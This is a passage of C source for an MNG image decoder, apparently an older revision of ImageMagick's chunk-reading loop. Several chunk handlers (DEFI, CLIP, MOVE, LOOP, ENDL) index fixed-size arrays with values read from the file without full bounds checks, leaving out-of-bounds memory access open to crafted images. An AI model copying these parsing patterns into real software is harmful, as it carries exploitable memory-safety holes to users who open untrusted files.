(memcmp(magic_number,"\212MNG\r\n\032\n",8) != 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); /* Initialize some nonzero members of the MngInfo structure. */ for (i=0; i < MNG_MAX_OBJECTS; i++) { mng_info->object_clip[i].right=(ssize_t) PNG_UINT_31_MAX; mng_info->object_clip[i].bottom=(ssize_t) PNG_UINT_31_MAX; } mng_info->exists[0]=MagickTrue; } skipping_loop=(-1); first_mng_object=MagickTrue; mng_type=0; #if defined(MNG_INSERT_LAYERS) insert_layers=MagickFalse; /* should be False when converting or mogrifying */ #endif default_frame_delay=0; default_frame_timeout=0; frame_delay=0; final_delay=1; mng_info->ticks_per_second=1UL*image->ticks_per_second; object_id=0; skip_to_iend=MagickFalse; term_chunk_found=MagickFalse; mng_info->framing_mode=1; #if defined(MNG_INSERT_LAYERS) mandatory_back=MagickFalse; #endif #if defined(MNG_INSERT_LAYERS) mng_background_color=image->background_color; #endif default_fb=mng_info->frame; previous_fb=mng_info->frame; do { char type[MaxTextExtent]; if (LocaleCompare(image_info->magick,"MNG") == 0) { unsigned char *chunk; /* Read a new chunk. */ type[0]='\0'; (void) ConcatenateMagickString(type,"errr",MaxTextExtent); length=ReadBlobMSBLong(image); count=(size_t) ReadBlob(image,4,(unsigned char *) type); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Reading MNG chunk type %c%c%c%c, length: %.20g", type[0],type[1],type[2],type[3],(double) length); if (length > PNG_UINT_31_MAX) { status=MagickFalse; break; } if (count == 0) ThrowReaderException(CorruptImageError,"CorruptImage"); p=NULL; chunk=(unsigned char *) NULL; if (length != 0) { chunk=(unsigned char *) AcquireQuantumMemory(length+ MagickPathExtent,sizeof(*chunk)); if (chunk == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) length; i++) { int c; c=ReadBlobByte(image); if (c == EOF) break; chunk[i]=(unsigned char) c; } p=chunk; } (void) ReadBlobMSBLong(image); /* read crc word */ #if !defined(JNG_SUPPORTED) if (memcmp(type,mng_JHDR,4) == 0) { skip_to_iend=MagickTrue; if (mng_info->jhdr_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"JNGCompressNotSupported","`%s'",image->filename); mng_info->jhdr_warning++; } #endif if (memcmp(type,mng_DHDR,4) == 0) { skip_to_iend=MagickTrue; if (mng_info->dhdr_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"DeltaPNGNotSupported","`%s'",image->filename); mng_info->dhdr_warning++; } if (memcmp(type,mng_MEND,4) == 0) break; if (skip_to_iend) { if (memcmp(type,mng_IEND,4) == 0) skip_to_iend=MagickFalse; if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Skip to IEND."); continue; } if (memcmp(type,mng_MHDR,4) == 0) { if (length != 28) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); ThrowReaderException(CorruptImageError,"CorruptImage"); } mng_info->mng_width=(size_t) ((p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3]); mng_info->mng_height=(size_t) ((p[4] << 24) | (p[5] << 16) | (p[6] << 8) | p[7]); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " MNG width: %.20g",(double) mng_info->mng_width); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " MNG height: %.20g",(double) mng_info->mng_height); } p+=8; mng_info->ticks_per_second=(size_t) mng_get_long(p); if (mng_info->ticks_per_second == 0) default_frame_delay=0; else default_frame_delay=1UL*image->ticks_per_second/ mng_info->ticks_per_second; frame_delay=default_frame_delay; simplicity=0; /* Skip nominal layer count, frame count, and play time */ p+=16; simplicity=(size_t) mng_get_long(p); mng_type=1; /* Full MNG */ if ((simplicity != 0) && ((simplicity | 11) == 11)) mng_type=2; /* LC */ if ((simplicity != 0) && ((simplicity | 9) == 9)) mng_type=3; /* VLC */ #if defined(MNG_INSERT_LAYERS) if (mng_type != 3) insert_layers=MagickTrue; #endif if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); mng_info->image=image; } if ((mng_info->mng_width > 65535L) || (mng_info->mng_height > 65535L)) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); ThrowReaderException(ImageError,"WidthOrHeightExceedsLimit"); } (void) FormatLocaleString(page_geometry,MaxTextExtent, "%.20gx%.20g+0+0",(double) mng_info->mng_width,(double) mng_info->mng_height); mng_info->frame.left=0; mng_info->frame.right=(ssize_t) mng_info->mng_width; mng_info->frame.top=0; mng_info->frame.bottom=(ssize_t) mng_info->mng_height; mng_info->clip=default_fb=previous_fb=mng_info->frame; for (i=0; i < MNG_MAX_OBJECTS; i++) mng_info->object_clip[i]=mng_info->frame; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_TERM,4) == 0) { int repeat=0; if (length != 0) repeat=p[0]; if (repeat == 3 && length > 8) { final_delay=(png_uint_32) mng_get_long(&p[2]); mng_iterations=(png_uint_32) mng_get_long(&p[6]); if (mng_iterations == PNG_UINT_31_MAX) mng_iterations=0; image->iterations=mng_iterations; term_chunk_found=MagickTrue; } if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " repeat=%d, final_delay=%.20g, iterations=%.20g", repeat,(double) final_delay, (double) image->iterations); } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_DEFI,4) == 0) { if (mng_type == 3) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"DEFI chunk found in MNG-VLC datastream","`%s'", image->filename); if (length > 1) { object_id=(p[0] << 8) | p[1]; if (mng_type == 2 && object_id != 0) (void) ThrowMagickException(&image->exception, GetMagickModule(), CoderError,"Nonzero object_id in MNG-LC datastream", "`%s'", image->filename); if (object_id > MNG_MAX_OBJECTS) { /* Instead of using a warning we should allocate a larger MngInfo structure and continue. */ (void) ThrowMagickException(&image->exception, GetMagickModule(), CoderError, "object id too large","`%s'",image->filename); object_id=MNG_MAX_OBJECTS; } if (mng_info->exists[object_id]) if (mng_info->frozen[object_id]) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); (void) ThrowMagickException(&image->exception, GetMagickModule(),CoderError, "DEFI cannot redefine a frozen MNG object","`%s'", image->filename); continue; } mng_info->exists[object_id]=MagickTrue; if (length > 2) mng_info->invisible[object_id]=p[2]; /* Extract object offset info. */ if (length > 11) { mng_info->x_off[object_id]=(ssize_t) ((p[4] << 24) | (p[5] << 16) | (p[6] << 8) | p[7]); mng_info->y_off[object_id]=(ssize_t) ((p[8] << 24) | (p[9] << 16) | (p[10] << 8) | p[11]); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " x_off[%d]: %.20g, y_off[%d]: %.20g", object_id,(double) mng_info->x_off[object_id], object_id,(double) mng_info->y_off[object_id]); } } /* Extract object clipping info. */ if (length > 27) mng_info->object_clip[object_id]= mng_read_box(mng_info->frame,0, &p[12]); } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_bKGD,4) == 0) { mng_info->have_global_bkgd=MagickFalse; if (length > 5) { mng_info->mng_global_bkgd.red= ScaleShortToQuantum((unsigned short) ((p[0] << 8) | p[1])); mng_info->mng_global_bkgd.green= ScaleShortToQuantum((unsigned short) ((p[2] << 8) | p[3])); mng_info->mng_global_bkgd.blue= ScaleShortToQuantum((unsigned short) ((p[4] << 8) | p[5])); mng_info->have_global_bkgd=MagickTrue; } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_BACK,4) == 0) { #if defined(MNG_INSERT_LAYERS) if (length > 6) mandatory_back=p[6]; else mandatory_back=0; if (mandatory_back && length > 5) { mng_background_color.red= ScaleShortToQuantum((unsigned short) ((p[0] << 8) | p[1])); mng_background_color.green= ScaleShortToQuantum((unsigned short) ((p[2] << 8) | p[3])); mng_background_color.blue= ScaleShortToQuantum((unsigned short) ((p[4] << 8) | p[5])); mng_background_color.opacity=OpaqueOpacity; } #ifdef MNG_OBJECT_BUFFERS if (length > 8) mng_background_object=(p[7] << 8) | p[8]; #endif #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_PLTE,4) == 0) { /* Read global PLTE. */ if (length && (length < 769)) { if (mng_info->global_plte == (png_colorp) NULL) mng_info->global_plte=(png_colorp) AcquireQuantumMemory(256, sizeof(*mng_info->global_plte)); for (i=0; i < (ssize_t) (length/3); i++) { mng_info->global_plte[i].red=p[3*i]; mng_info->global_plte[i].green=p[3*i+1]; mng_info->global_plte[i].blue=p[3*i+2]; } mng_info->global_plte_length=(unsigned int) (length/3); } #ifdef MNG_LOOSE for ( ; i < 256; i++) { mng_info->global_plte[i].red=i; mng_info->global_plte[i].green=i; mng_info->global_plte[i].blue=i; } if (length != 0) mng_info->global_plte_length=256; #endif else mng_info->global_plte_length=0; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_tRNS,4) == 0) { /* read global tRNS */ if (length > 0 && length < 257) for (i=0; i < (ssize_t) length; i++) mng_info->global_trns[i]=p[i]; #ifdef MNG_LOOSE for ( ; i < 256; i++) mng_info->global_trns[i]=255; #endif mng_info->global_trns_length=(unsigned int) length; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_gAMA,4) == 0) { if (length == 4) { ssize_t igamma; igamma=mng_get_long(p); mng_info->global_gamma=((float) igamma)*0.00001; mng_info->have_global_gama=MagickTrue; } else mng_info->have_global_gama=MagickFalse; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_cHRM,4) == 0) { /* Read global cHRM */ if (length == 32) { mng_info->global_chrm.white_point.x=0.00001*mng_get_long(p); mng_info->global_chrm.white_point.y=0.00001*mng_get_long(&p[4]); mng_info->global_chrm.red_primary.x=0.00001*mng_get_long(&p[8]); mng_info->global_chrm.red_primary.y=0.00001* mng_get_long(&p[12]); mng_info->global_chrm.green_primary.x=0.00001* mng_get_long(&p[16]); mng_info->global_chrm.green_primary.y=0.00001* mng_get_long(&p[20]); mng_info->global_chrm.blue_primary.x=0.00001* mng_get_long(&p[24]); mng_info->global_chrm.blue_primary.y=0.00001* mng_get_long(&p[28]); mng_info->have_global_chrm=MagickTrue; } else mng_info->have_global_chrm=MagickFalse; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_sRGB,4) == 0) { /* Read global sRGB. */ if (length != 0) { mng_info->global_srgb_intent= Magick_RenderingIntent_from_PNG_RenderingIntent(p[0]); mng_info->have_global_srgb=MagickTrue; } else mng_info->have_global_srgb=MagickFalse; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_iCCP,4) == 0) { /* To do: */ /* Read global iCCP. */ if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_FRAM,4) == 0) { if (mng_type == 3) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"FRAM chunk found in MNG-VLC datastream","`%s'", image->filename); if ((mng_info->framing_mode == 2) || (mng_info->framing_mode == 4)) image->delay=frame_delay; frame_delay=default_frame_delay; frame_timeout=default_frame_timeout; fb=default_fb; if (length > 0) if (p[0]) mng_info->framing_mode=p[0]; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Framing_mode=%d",mng_info->framing_mode); if (length > 6) { /* Note the delay and frame clipping boundaries. */ p++; /* framing mode */ while (*p && ((p-chunk) < (ssize_t) length)) p++; /* frame name */ p++; /* frame name terminator */ if ((p-chunk) < (ssize_t) (length-4)) { int change_delay, change_timeout, change_clipping; change_delay=(*p++); change_timeout=(*p++); change_clipping=(*p++); p++; /* change_sync */ if (change_delay && (p-chunk) < (ssize_t) (length-4)) { frame_delay=1UL*image->ticks_per_second* mng_get_long(p); if (mng_info->ticks_per_second != 0) frame_delay/=mng_info->ticks_per_second; else frame_delay=PNG_UINT_31_MAX; if (change_delay == 2) default_frame_delay=frame_delay; p+=4; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Framing_delay=%.20g",(double) frame_delay); } if (change_timeout && (p-chunk) < (ssize_t) (length-4)) { frame_timeout=1UL*image->ticks_per_second* mng_get_long(p); if (mng_info->ticks_per_second != 0) frame_timeout/=mng_info->ticks_per_second; else frame_timeout=PNG_UINT_31_MAX; if (change_timeout == 2) default_frame_timeout=frame_timeout; p+=4; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Framing_timeout=%.20g",(double) frame_timeout); } if (change_clipping && (p-chunk) < (ssize_t) (length-17)) { fb=mng_read_box(previous_fb,(char) p[0],&p[1]); p+=17; previous_fb=fb; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Frame_clip: L=%.20g R=%.20g T=%.20g B=%.20g", (double) fb.left,(double) fb.right,(double) fb.top, (double) fb.bottom); if (change_clipping == 2) default_fb=fb; } } } mng_info->clip=fb; mng_info->clip=mng_minimum_box(fb,mng_info->frame); subframe_width=(size_t) (mng_info->clip.right -mng_info->clip.left); subframe_height=(size_t) (mng_info->clip.bottom -mng_info->clip.top); /* Insert a background layer behind the frame if framing_mode is 4. */ #if defined(MNG_INSERT_LAYERS) if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " subframe_width=%.20g, subframe_height=%.20g",(double) subframe_width,(double) subframe_height); if (insert_layers && (mng_info->framing_mode == 4) && (subframe_width) && (subframe_height)) { /* Allocate next image structure. */ if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; if (term_chunk_found) { image->start_loop=MagickTrue; image->iterations=mng_iterations; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; image->columns=subframe_width; image->rows=subframe_height; image->page.width=subframe_width; image->page.height=subframe_height; image->page.x=mng_info->clip.left; image->page.y=mng_info->clip.top; image->background_color=mng_background_color; image->matte=MagickFalse; image->delay=0; (void) SetImageBackgroundColor(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Insert backgd layer, L=%.20g, R=%.20g T=%.20g, B=%.20g", (double) mng_info->clip.left,(double) mng_info->clip.right, (double) mng_info->clip.top,(double) mng_info->clip.bottom); } #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_CLIP,4) == 0) { unsigned int first_object, last_object; /* Read CLIP. */ if (length > 3) { first_object=(p[0] << 8) | p[1]; last_object=(p[2] << 8) | p[3]; p+=4; for (i=(int) first_object; i <= (int) last_object; i++) { if (mng_info->exists[i] && !mng_info->frozen[i]) { MngBox box; box=mng_info->object_clip[i]; if ((p-chunk) < (ssize_t) (length-17)) mng_info->object_clip[i]= mng_read_box(box,(char) p[0],&p[1]); } } } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_SAVE,4) == 0) { for (i=1; i < MNG_MAX_OBJECTS; i++) if (mng_info->exists[i]) { mng_info->frozen[i]=MagickTrue; #ifdef MNG_OBJECT_BUFFERS if (mng_info->ob[i] != (MngBuffer *) NULL) mng_info->ob[i]->frozen=MagickTrue; #endif } if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if ((memcmp(type,mng_DISC,4) == 0) || (memcmp(type,mng_SEEK,4) == 0)) { /* Read DISC or SEEK. */ if ((length == 0) || !memcmp(type,mng_SEEK,4)) { for (i=1; i < MNG_MAX_OBJECTS; i++) MngInfoDiscardObject(mng_info,i); } else { register ssize_t j; for (j=1; j < (ssize_t) length; j+=2) { i=p[j-1] << 8 | p[j]; MngInfoDiscardObject(mng_info,i); } } if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_MOVE,4) == 0) { size_t first_object, last_object; /* read MOVE */ if (length > 3) { first_object=(p[0] << 8) | p[1]; last_object=(p[2] << 8) | p[3]; p+=4; for (i=(ssize_t) first_object; i <= (ssize_t) last_object; i++) { if (mng_info->exists[i] && !mng_info->frozen[i] && (p-chunk) < (ssize_t) (length-8)) { MngPair new_pair; MngPair old_pair; old_pair.a=mng_info->x_off[i]; old_pair.b=mng_info->y_off[i]; new_pair=mng_read_pair(old_pair,(int) p[0],&p[1]); mng_info->x_off[i]=new_pair.a; mng_info->y_off[i]=new_pair.b; } } } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_LOOP,4) == 0) { ssize_t loop_iters=1; if (length > 4) { loop_level=chunk[0]; mng_info->loop_active[loop_level]=1; /* mark loop active */ /* Record starting point. */ loop_iters=mng_get_long(&chunk[1]); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " LOOP level %.20g has %.20g iterations ", (double) loop_level, (double) loop_iters); if (loop_iters == 0) skipping_loop=loop_level; else { mng_info->loop_jump[loop_level]=TellBlob(image); mng_info->loop_count[loop_level]=loop_iters; } mng_info->loop_iteration[loop_level]=0; } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_ENDL,4) == 0) { if (length > 0) { loop_level=chunk[0]; if (skipping_loop > 0) { if (skipping_loop == loop_level) { /* Found end of zero-iteration loop. */ skipping_loop=(-1); mng_info->loop_active[loop_level]=0; } } else { if (mng_info->loop_active[loop_level] == 1) { mng_info->loop_count[loop_level]--; mng_info->loop_iteration[loop_level]++; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " ENDL: LOOP level %.20g has %.20g remaining iters ", (double) loop_level,(double) mng_info->loop_count[loop_level]); if (mng_info->loop_count[loop_level] != 0) { offset=SeekBlob(image, mng_info->loop_jump[loop_level], SEEK_SET); if (offset < 0) { chunk=(unsigned char *) RelinquishMagickMemory( chunk); ThrowReaderException(CorruptImageError, "ImproperImageHeader"); } } else { short last_level; /* Finished loop. */ mng_info->loop_active[loop_level]=0; last_level=(-1); for (i=0; i < loop_level; i++) if (mng_info->loop_active[i] == 1) last_level=(short) i; loop_level=last_level; } } } } chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_CLON,4) == 0) { if (mng_info->clon_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"CLON is not implemented yet","`%s'", image->filename); mng_info->clon_warning++; } if (memcmp(type,mng_MAGN,4) == 0) { png_uint_16 magn_first, magn_last, magn_mb, magn_ml, magn_mr, magn_mt, magn_mx, magn_my, magn_methx, magn_methy; if (length > 1) magn_first=(p[0] << 8) | p[1]; else magn_first=0; if (length > 3) magn_last=(p[2] << 8) | p[3]; else magn_last=magn_first; #ifndef MNG_OBJECT_BUFFERS if (magn_first || magn_last) if (mng_info->magn_warning == 0) { (void) ThrowMagickException(&image->exception, GetMagickModule(),CoderError, "MAGN is not implemented yet for nonzero objects", "`%s'",image->filename); mng_info->magn_warning++; } #endif if (length > 4) magn_methx=p[4]; else magn_methx=0; if (length > 6) magn_mx=(p[5] << 8) | p[6]; else magn_mx=1; if (magn_mx == 0) magn_mx=1; if (length > 8) magn_my=(p[7] << 8) | p[8]; else magn_my=magn_mx; if (magn_my == 0) magn_my=1; if (length > 10) magn_ml=(p[9] << 8) | p[10]; else magn_ml=magn_mx; if (magn_ml == 0) magn_ml=1; if (length > 12) magn_mr=(p[11] << 8) | p[12]; else magn_mr=magn_mx; if (magn_mr == 0) magn_mr=1; if (length > 14) magn_mt=(p[13] << 8) | p[14]; else magn_mt=magn_my; if (magn_mt == 0) magn_mt=1; if (length > 16) magn_mb=(p[15] << 8) | p[16]; else magn_mb=magn_my; if (magn_mb == 0) magn_mb=1; if (length > 17) magn_methy=p[17]; else magn_methy=magn_methx; if (magn_methx > 5 || magn_methy > 5) if (mng_info->magn_warning == 0) { (void) ThrowMagickException(&image->exception, GetMagickModule(),CoderError, "Unknown MAGN method in MNG datastream","`%s'", image->filename); mng_info->magn_warning++; } #ifdef MNG_OBJECT_BUFFERS /* Magnify existing objects in the range magn_first to magn_last */ #endif if (magn_first == 0 || magn_last == 0) { /* Save the magnification factors for object 0 */ mng_info->magn_mb=magn_mb; mng_info->magn_ml=magn_ml; mng_info->magn_mr=magn_mr; mng_info->magn_mt=magn_mt; mng_info->magn_mx=magn_mx; mng_info->magn_my=magn_my; mng_info->magn_methx=magn_methx; mng_info->magn_methy=magn_methy; } } if (memcmp(type,mng_PAST,4) == 0) { if (mng_info->past_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"PAST is not implemented yet","`%s'", image->filename); mng_info->past_warning++; } if (memcmp(type,mng_SHOW,4) == 0) { if (mng_info->show_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"SHOW is not implemented yet","`%s'", image->filename); mng_info->show_warning++; } if (memcmp(type,mng_sBIT,4) == 0) { if (length < 4) mng_info->have_global_sbit=MagickFalse; else { mng_info->global_sbit.gray=p[0]; mng_info->global_sbit.red=p[0]; mng_info->global_sbit.green=p[1]; mng_info->global_sbit.blue=p[2]; mng_info->global_sbit.alpha=p[3]; mng_info->have_global_sbit=MagickTrue; } } if (memcmp(type,mng_pHYs,4) == 0) { if (length > 8) { mng_info->global_x_pixels_per_unit= (size_t) mng_get_long(p); mng_info->global_y_pixels_per_unit= (size_t) mng_get_long(&p[4]); mng_info->global_phys_unit_type=p[8]; mng_info->have_global_phys=MagickTrue; } else mng_info->have_global_phys=MagickFalse; } if (memcmp(type,mng_pHYg,4) == 0) { if (mng_info->phyg_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"pHYg is not implemented.","`%s'",image->filename); mng_info->phyg_warning++; } if (memcmp(type,mng_BASI,4) == 0) { skip_to_iend=MagickTrue; if (mng_info->basi_warning == 0) (void) ThrowMagickException(&image->exception,GetMagickModule(), CoderError,"BASI is not implemented yet","`%s'", image->filename); mng_info->basi_warning++; #ifdef MNG_BASI_SUPPORTED if (length > 11) { basi_width=(size_t) ((p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3]); basi_height=(size_t) ((p[4] << 24) | (p[5] << 16) | (p[6] << 8) | p[7]); basi_color_type=p[8]; basi_compression_method=p[9]; basi_filter_type=p[10]; basi_interlace_method=p[11]; } if (length > 13) basi_red=(p[12] << 8) & p[13]; else basi_red=0; if (length > 15) basi_green=(p[14] << 8) & p[15]; else basi_green=0; if (length > 17) basi_blue=(p[16] << 8) & p[17]; else basi_blue=0; if (length > 19) basi_alpha=(p[18] << 8) & p[19]; else { if (basi_sample_depth == 16) basi_alpha=65535L; else basi_alpha=255; } if (length > 20) basi_viewable=p[20]; else basi_viewable=0; #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } if (memcmp(type,mng_IHDR,4) #if defined(JNG_SUPPORTED) && memcmp(type,mng_JHDR,4) #endif ) { /* Not an IHDR or JHDR chunk */ if (length != 0) chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } /* Process IHDR */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing %c%c%c%c chunk",type[0],type[1],type[2],type[3]); mng_info->exists[object_id]=MagickTrue; mng_info->viewable[object_id]=MagickTrue; if (mng_info->invisible[object_id]) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Skipping invisible object"); skip_to_iend=MagickTrue; chunk=(unsigned char *) RelinquishMagickMemory(chunk); continue; } #if defined(MNG_INSERT_LAYERS) if (length < 8) { chunk=(unsigned char *) RelinquishMagickMemory(chunk); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } image_width=(size_t) mng_get_long(p); image_height=(size_t) mng_get_long(&p[4]); #endif chunk=(unsigned char *) RelinquishMagickMemory(chunk); /* Insert a transparent background layer behind the entire animation if it is not full screen. */ #if defined(MNG_INSERT_LAYERS) if (insert_layers && mng_type && first_mng_object) { if ((mng_info->clip.left > 0) || (mng_info->clip.top > 0) || (image_width < mng_info->mng_width) || (mng_info->clip.right < (ssize_t) mng_info->mng_width) || (image_height < mng_info->mng_height) || (mng_info->clip.bottom < (ssize_t) mng_info->mng_height)) { if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; if (term_chunk_found) { image->start_loop=MagickTrue; image->iterations=mng_iterations; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; /* Make a background rectangle. */ image->delay=0; image->columns=mng_info->mng_width; image->rows=mng_info->mng_height; image->page.width=mng_info->mng_width; image->page.height=mng_info->mng_height; image->page.x=0; image->page.y=0; image->background_color=mng_background_color; (void) SetImageBackgroundColor(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Inserted transparent background layer, W=%.20g, H=%.20g", (double) mng_info->mng_width,(double) mng_info->mng_height); } } /* Insert a background layer behind the upcoming image if framing_mode is 3, and we haven't already inserted one. */ if (insert_layers && (mng_info->framing_mode == 3) && (subframe_width) && (subframe_height) && (simplicity == 0 || (simplicity & 0x08))) { if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; if (term_chunk_found) { image->start_loop=MagickTrue; image->iterations=mng_iterations; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; image->delay=0; image->columns=subframe_width; image->rows=subframe_height; image->page.width=subframe_width; image->page.height=subframe_height; image->page.x=mng_info->clip.left; image->page.y=mng_info->clip.top; image->background_color=mng_background_color; image->matte=MagickFalse; (void) SetImageBackgroundColor(image); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Insert background layer, L=%.20g, R=%.20g T=%.20g, B=%.20g", (double) mng_info->clip.left,(double) mng_info->clip.right, (double) mng_info->clip.top,(double) mng_info->clip.bottom); } #endif /* MNG_INSERT_LAYERS */ first_mng_object=MagickFalse; if (GetAuthenticPixelQueue(image) != (PixelPacket *) NULL) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) return(DestroyImageList(image)); image=SyncNextImageInList(image); } mng_info->image=image; status=SetImageProgress(image,LoadImagesTag,TellBlob(image), GetBlobSize(image)); if (status == MagickFalse) break; if (term_chunk_found) { image->start_loop=MagickTrue; term_chunk_found=MagickFalse; } else image->start_loop=MagickFalse; if (mng_info->framing_mode == 1 || mng_info->framing_mode == 3) { image->delay=frame_delay; frame_delay=default_frame_delay; } else image->delay=0; image->page.width=mng_info->mng_width; image->page.height=mng_info->mng_height; image->page.x=mng_info->x_off[object_id]; image->page.y=mng_info->y_off[object_id]; image->iterations=mng_iterations; /* Seek back to the beginning of the IHDR or JHDR chunk's length field. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Seeking back to beginning of %c%c%c%c chunk",type[0],type[1], type[2],type[3]); offset=SeekBlob(image,-((ssize_t) length+12),SEEK_CUR); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } mng_info->image=image; mng_info->mng_type=mng_type; mng_info->object_id=object_id; if (memcmp(type,mng_IHDR,4) == 0) image=ReadOnePNGImage(mng_info,image_info,exception); #if defined(JNG_SUPPORTED) else image=ReadOneJNGImage(mng_info,image_info,exception); #endif if (image == (Image *) NULL) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), "exit ReadJNGImage() with error"); return((Image *) NULL); } if (image->columns == 0 || image->rows == 0) { (void) CloseBlob(image); return(DestroyImageList(image)); } mng_info->image=image; if (mng_type) { MngBox crop_box; if (mng_info->magn_methx || mng_info->magn_methy) { png_uint_32 magnified_height, magnified_width; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk"); if (mng_info->magn_methx == 1) { magnified_width=mng_info->magn_ml; if (image->columns > 1) magnified_width += mng_info->magn_mr; if (image->columns > 2) magnified_width += (png_uint_32) ((image->columns-2)*(mng_info->magn_mx)); } else { magnified_width=(png_uint_32) image->columns; if (image->columns > 1) magnified_width += mng_info->magn_ml-1; if (image->columns > 2) magnified_width += mng_info->magn_mr-1; if (image->columns > 3) magnified_width += (png_uint_32) ((image->columns-3)*(mng_info->magn_mx-1)); } if (mng_info->magn_methy == 1) { magnified_height=mng_info->magn_mt; if (image->rows > 1) magnified_height += mng_info->magn_mb; if (image->rows > 2) magnified_height += (png_uint_32) ((image->rows-2)*(mng_info->magn_my)); } else { magnified_height=(png_uint_32) image->rows; if (image->rows > 1) magnified_height += mng_info->magn_mt-1; if (image->rows > 2) magnified_height += mng_info->magn_mb-1; if (image->rows > 3) magnified_height += (png_uint_32) ((image->rows-3)*(mng_info->magn_my-1)); } if (magnified_height > image->rows || magnified_width > image->columns) { Image *large_image; int yy; ssize_t m, y; register ssize_t x; register PixelPacket *n, *q; PixelPacket *next, *prev; png_uint_16 magn_methx, magn_methy; /* Allocate next image structure. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Allocate magnified image"); AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) 